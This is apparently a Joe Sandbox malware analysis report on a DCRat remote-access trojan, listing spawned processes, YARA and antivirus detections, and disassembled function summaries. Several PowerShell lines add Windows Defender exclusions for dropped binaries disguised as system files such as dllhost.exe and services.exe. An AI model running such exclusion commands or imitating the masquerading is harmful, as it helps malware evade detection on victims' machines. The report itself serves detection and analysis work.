Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:22:00
Start date:	09/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD2D.tmp" "c:\Windows\System32\CSCCA613A2B92B2400B95C3CB4E6C4E457D.TMP"
Imagebase:	0x7ff66a870000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:22:01
Start date:	09/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Recent\RuntimeBroker.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:22:01
Start date:	09/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\dllhost.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:22:01
Start date:	09/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\services.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:22:01
Start date:	09/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:22:01
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	16:22:01
Start date:	09/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\microsoft.net\RuntimeBroker.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:22:01
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	16:22:01
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	16:22:01
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	16:22:01
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	16:22:01
Start date:	09/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\IsGt2uaTvL.bat"
Imagebase:	0x7ff775260000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	16:22:01
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	16:22:02
Start date:	09/11/2024
Path:	C:\Users\Default\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Default\dllhost.exe
Imagebase:	0xe20000
File size:	1'765'888 bytes
MD5 hash:	37D00592110CA3CC53B7F6CA6AB1C82A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\Default\dllhost.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:22:02
Start date:	09/11/2024
Path:	C:\Users\Default\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Default\dllhost.exe
Imagebase:	0xb0000
File size:	1'765'888 bytes
MD5 hash:	37D00592110CA3CC53B7F6CA6AB1C82A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	16:22:02
Start date:	09/11/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff7cc550000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	16:22:03
Start date:	09/11/2024
Path:	C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe"
Imagebase:	0xc90000
File size:	1'765'888 bytes
MD5 hash:	37D00592110CA3CC53B7F6CA6AB1C82A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	16:22:03
Start date:	09/11/2024
Path:	C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe"
Imagebase:	0x270000
File size:	1'765'888 bytes
MD5 hash:	37D00592110CA3CC53B7F6CA6AB1C82A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	16:22:03
Start date:	09/11/2024
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff6bd410000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	16:22:03
Start date:	09/11/2024
Path:	C:\Program Files\Windows Portable Devices\services.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Portable Devices\services.exe"
Imagebase:	0xce0000
File size:	1'765'888 bytes
MD5 hash:	37D00592110CA3CC53B7F6CA6AB1C82A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files\Windows Portable Devices\services.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	16:22:03
Start date:	09/11/2024
Path:	C:\Program Files\Windows Portable Devices\services.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Portable Devices\services.exe"
Imagebase:	0x350000
File size:	1'765'888 bytes
MD5 hash:	37D00592110CA3CC53B7F6CA6AB1C82A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	16:22:09
Start date:	09/11/2024
Path:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\Default\Recent\RuntimeBroker.exe"
Imagebase:	0xa30000
File size:	1'765'888 bytes
MD5 hash:	37D00592110CA3CC53B7F6CA6AB1C82A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000002A.00000002.3129151130.000000000330B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000002A.00000002.3129151130.0000000002EAD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000002A.00000002.3129151130.000000000314E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 83%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	16:22:09
Start date:	09/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	16:22:14
Start date:	09/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	16:22:35
Start date:	09/11/2024
Path:	C:\Users\Default\dllhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\Default\dllhost.exe"
Imagebase:	0x330000
File size:	1'765'888 bytes
MD5 hash:	37D00592110CA3CC53B7F6CA6AB1C82A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	16:22:43
Start date:	09/11/2024
Path:	C:\Program Files\Windows Portable Devices\services.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Portable Devices\services.exe"
Imagebase:	0x150000
File size:	1'765'888 bytes
MD5 hash:	37D00592110CA3CC53B7F6CA6AB1C82A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	16:22:52
Start date:	09/11/2024
Path:	C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe"
Imagebase:	0x580000
File size:	1'765'888 bytes
MD5 hash:	37D00592110CA3CC53B7F6CA6AB1C82A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	16:23:09
Start date:	09/11/2024
Path:	C:\Users\Default\dllhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\Default\dllhost.exe"
Imagebase:	0x300000
File size:	1'765'888 bytes
MD5 hash:	37D00592110CA3CC53B7F6CA6AB1C82A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	13.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	66.7%
Total number of Nodes:	6
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Non-executed Functions

Function 00401990 Relevance: 7.6, APIs: 5, Instructions: 56
timethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 004019D5
GetCurrentProcessId.KERNEL32 ref: 004019E0
GetCurrentThreadId.KERNEL32 ref: 004019E9
GetTickCount.KERNEL32 ref: 004019F1
QueryPerformanceCounter.KERNEL32 ref: 004019FE

Memory Dump Source

Source File: 00000000.00000002.1831600763.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1831513538.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832114256.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832161360.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1837557779.00000000005B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1839569588.00000000005B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1841382447.00000000005B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843979198.00000000005BB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844529611.00000000005C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_t8xf0Y1ovi.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 2f1810fc0ccc9c577f3289b20dc00f560c8c54bb2cec7ddd7d437f34b1ee25e9
Instruction ID: 26fd4d38e52d81b4d997e8b19cf87b58d6994b1fe3d32a44a761cffae913aa8d
Opcode Fuzzy Hash: 2f1810fc0ccc9c577f3289b20dc00f560c8c54bb2cec7ddd7d437f34b1ee25e9
Instruction Fuzzy Hash: FC118C2A756E1082FB104B25FC0432AB2A0B7487A2F0856319E9D127A4DF3CE58ACB04

Analysis Process: decFF62.tmpPID: 6888, Parent PID: 6848COMMON

Execution Graph

Execution Coverage:	14.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	14.7%
Total number of Nodes:	34
Total number of Limit Nodes:	4

Executed Functions

Function 00007FFD9B891EC3 Relevance: 16.5, Strings: 12, Instructions: 1498
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

}, xrefs: 00007FFD9B892D4A
[, xrefs: 00007FFD9B892856
u, xrefs: 00007FFD9B8920EC
], xrefs: 00007FFD9B89289A
], xrefs: 00007FFD9B8925AB
\, xrefs: 00007FFD9B891FC5
{, xrefs: 00007FFD9B892D06
H, xrefs: 00007FFD9B892ED1
}, xrefs: 00007FFD9B893200
", xrefs: 00007FFD9B892463
[, xrefs: 00007FFD9B892567
{, xrefs: 00007FFD9B8931BC

Memory Dump Source

Source File: 00000001.00000002.1816830034.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b890000_decFF62.jbxd

Similarity

API ID:
String ID: "$H$[$[$\$]$]$u${${$}$}
API String ID: 0-2063274034
Opcode ID: 709e0320411d615ed5ab02470a30c5be5522a52ac5a9e9e5b87caa013e95ca6b
Instruction ID: b1584fbb7a79d2d5c748349b4abd88c35439ea5e86bf8e9064a540842096673e
Opcode Fuzzy Hash: 709e0320411d615ed5ab02470a30c5be5522a52ac5a9e9e5b87caa013e95ca6b
Instruction Fuzzy Hash: B0D2A670E1962D8FDBA8DF58C8A5BA9B7B1FF58305F5041EAD00DE3295DA346A81CF40

Function 00007FFD9B89EC5A Relevance: 1.7, APIs: 1, Instructions: 165
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32 ref: 00007FFD9B89ED72

Memory Dump Source

Source File: 00000001.00000002.1816830034.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b890000_decFF62.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: a945187f2bf16dfa9300db39a37ce531df36ac8824f4e70d6e82c78bd5a48237
Instruction ID: 5c00de4f4b7839cbf7b5b7a76aa3fba0c193173c4bd418811bfe2061c7b5668d
Opcode Fuzzy Hash: a945187f2bf16dfa9300db39a37ce531df36ac8824f4e70d6e82c78bd5a48237
Instruction Fuzzy Hash: EA51CF3090DA4C8FEB59DBA8D855AE9BFF0EF59310F1441ABD04DD72A2DA34694ACB40

Function 00007FFD9BA80920 Relevance: .8, Instructions: 843COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1819715851.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9ba80000_decFF62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3da1e0c9121d100a70796effc99d9904cf86dc048ff9716e255c2db2329d6eea
Instruction ID: 6120dbaa7fcf306340b5acf3a3975ff30b272a7f8830d5453509b23544631129
Opcode Fuzzy Hash: 3da1e0c9121d100a70796effc99d9904cf86dc048ff9716e255c2db2329d6eea
Instruction Fuzzy Hash: 45429863A0E5B29BD316B76CBCBA4D67F90DF0222C70D41F7E0994F0E3EC58654A9285

Function 00007FFD9B8A3415 Relevance: .7, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1816830034.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b890000_decFF62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e54c8c0106ab20cd350a84f5fc60139842a20fd1946777bade2b91b5b35e9c01
Instruction ID: 6127a4b009c20c8a194afdd0d5d0a0ad03e4bda24ae5ea2ffbbc28f4b212311a
Opcode Fuzzy Hash: e54c8c0106ab20cd350a84f5fc60139842a20fd1946777bade2b91b5b35e9c01
Instruction Fuzzy Hash: C1524A70A0961D8FDB68DF54C4A4AF97BB2FF58304F5041ADD04EA7291CB39AA46CF90

Function 00007FFD9BDD2580 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1826789664.00007FFD9BDD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BDD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9bdd0000_decFF62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a001de1793b7d2c16591b1ded4086fcf12b0389fc87d7986a9df7a6953aff38
Instruction ID: 3b49951124c782d408c8462e5197beaed39308fd96039e38ed2568a2ac471ac9
Opcode Fuzzy Hash: 2a001de1793b7d2c16591b1ded4086fcf12b0389fc87d7986a9df7a6953aff38
Instruction Fuzzy Hash: B3510230E0561D8FDB58DFA8D8A46ADBBB1FF59305F50017ED40AA72A5CB39A981CF40

Function 00007FFD9B89D04A Relevance: 1.8, APIs: 1, Instructions: 293
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileTransactedW.KERNEL32 ref: 00007FFD9B89D252

Memory Dump Source

Source File: 00000001.00000002.1816830034.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b890000_decFF62.jbxd

Similarity

API ID: CreateFileTransacted
String ID:
API String ID: 2149338676-0
Opcode ID: a6537c4278184daef2e01e7624d844e3cd4977d8100b7e877e1118976d6eb0e8
Instruction ID: aa60646b9f0b89e45c719f2d7bec90261eb1c6048e3c4683169c0045153e3211
Opcode Fuzzy Hash: a6537c4278184daef2e01e7624d844e3cd4977d8100b7e877e1118976d6eb0e8
Instruction Fuzzy Hash: C4911270908A5D8FDF99DF58C894BA9BBF1FB6A310F1001AED04DE3291DB75A984CB05

Function 00007FFD9BA87499 Relevance: 1.8, Strings: 1, Instructions: 535
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 00007FFD9BA87777

Memory Dump Source

Source File: 00000001.00000002.1819715851.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9ba80000_decFF62.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 619edef4bd89a44e942c277997c8906d1c0393b6917bfd04de3e0856b77fcda7
Instruction ID: 054d35a2ffa00ebfbf5fd04ea16730b36649b97251ef362f7b3dbe463a05255f
Opcode Fuzzy Hash: 619edef4bd89a44e942c277997c8906d1c0393b6917bfd04de3e0856b77fcda7
Instruction Fuzzy Hash: 7CF10D30A19A4A4FD75DEB1898A1971B7E1FF99300B1441BAD04ECB2ABDE34EC42C781

Function 00007FFD9B89D2F5 Relevance: 1.7, APIs: 1, Instructions: 216
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 00007FFD9B89D479

Memory Dump Source

Source File: 00000001.00000002.1816830034.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b890000_decFF62.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: f95185dbf768c16662196db361c25b337ea0e9f7229a3324139b63a6394375b5
Instruction ID: 89a13fc794ce514d7df531b929a4a76fb5e9205a3c52fb4089aedcf915a92f11
Opcode Fuzzy Hash: f95185dbf768c16662196db361c25b337ea0e9f7229a3324139b63a6394375b5
Instruction Fuzzy Hash: 2F611370A08A5C8FDB98DF58C895BE9BBF1FB69310F1041AED04EE3251DB74A985CB40

Function 00007FFD9B900897 Relevance: 1.6, APIs: 1, Instructions: 150
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 00007FFD9B9009A1

Memory Dump Source

Source File: 00000001.00000002.1816830034.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b890000_decFF62.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 26ba7e97aac64e1b64ab82f5be4f75069a47be9e7b7cc9a02b81ab0ff69c4d2a
Instruction ID: 83d1be3f912b41cdcbf2176872e891ffc680466d98fede19be46b54523b2c7ce
Opcode Fuzzy Hash: 26ba7e97aac64e1b64ab82f5be4f75069a47be9e7b7cc9a02b81ab0ff69c4d2a
Instruction Fuzzy Hash: 65414874E0860C8FDB98EFA8D895AEDBBF0FB59310F10416AD44DE7252DA31A946CB41

Function 00007FFD9BA8DEB1 Relevance: 1.6, Strings: 1, Instructions: 398
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

e._^, xrefs: 00007FFD9BA8DF01

Memory Dump Source

Source File: 00000001.00000002.1819715851.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9ba80000_decFF62.jbxd

Similarity

API ID:
String ID: e._^
API String ID: 0-2929692335
Opcode ID: b2fb8c894eecea1b1a4e9a5c0563a25388dc22f44f33c22b1b8d3fb8c3adbca8
Instruction ID: adbd6cdf9fb77a12aaa505c4274fa2ebb08a6bddbd998368ab0befc573af51b5
Opcode Fuzzy Hash: b2fb8c894eecea1b1a4e9a5c0563a25388dc22f44f33c22b1b8d3fb8c3adbca8
Instruction Fuzzy Hash: 42C1F663A0F5A69BE726B76CB8764E93F50DF02228B0901F7E0DC4F0E3EC58655A8255

Function 00007FFD9B89EC91 Relevance: 1.6, APIs: 1, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32 ref: 00007FFD9B89ED72

Memory Dump Source

Source File: 00000001.00000002.1816830034.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b890000_decFF62.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 89a6815719064ddb85c1f7e7fe67738808d1e7cc4d899a64fbf3ad7fc9ea7cb0
Instruction ID: e908d287ecf2779d0a53a9bc85c52fedba37e5d6ebff9ff906d161efde6226a3
Opcode Fuzzy Hash: 89a6815719064ddb85c1f7e7fe67738808d1e7cc4d899a64fbf3ad7fc9ea7cb0
Instruction Fuzzy Hash: 94419D3090D68C8FDB99DBA8D859BE9BFF0EF5A310F1441AAD04DD72A2CA345946CB01

Function 00007FFD9B89F0F5 Relevance: 1.4, APIs: 1, Instructions: 195
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 00007FFD9B89F229

Memory Dump Source

Source File: 00000001.00000002.1816830034.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b890000_decFF62.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 21cde12fc63d39d360a0b34d49e33034e5ade39450ccc836f16de50742f7a9c6
Instruction ID: 4bad1e57ce5417a90817d6b76363c40e0051c31b734170683d2837c3080fcbc5
Opcode Fuzzy Hash: 21cde12fc63d39d360a0b34d49e33034e5ade39450ccc836f16de50742f7a9c6
Instruction Fuzzy Hash: C7512A74918A5C8FDF98DF58C895BE9BBF0FB69310F1042AAD04DE3251DB70A981CB81

Function 00007FFD9BA8C198 Relevance: 1.4, Strings: 1, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FFD9BA8C212

Memory Dump Source

Source File: 00000001.00000002.1819715851.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9ba80000_decFF62.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 872aacd6b77da0ba657788ffc7fbaa9fd5cb4b7c61f9d51100383ae31ecfff54
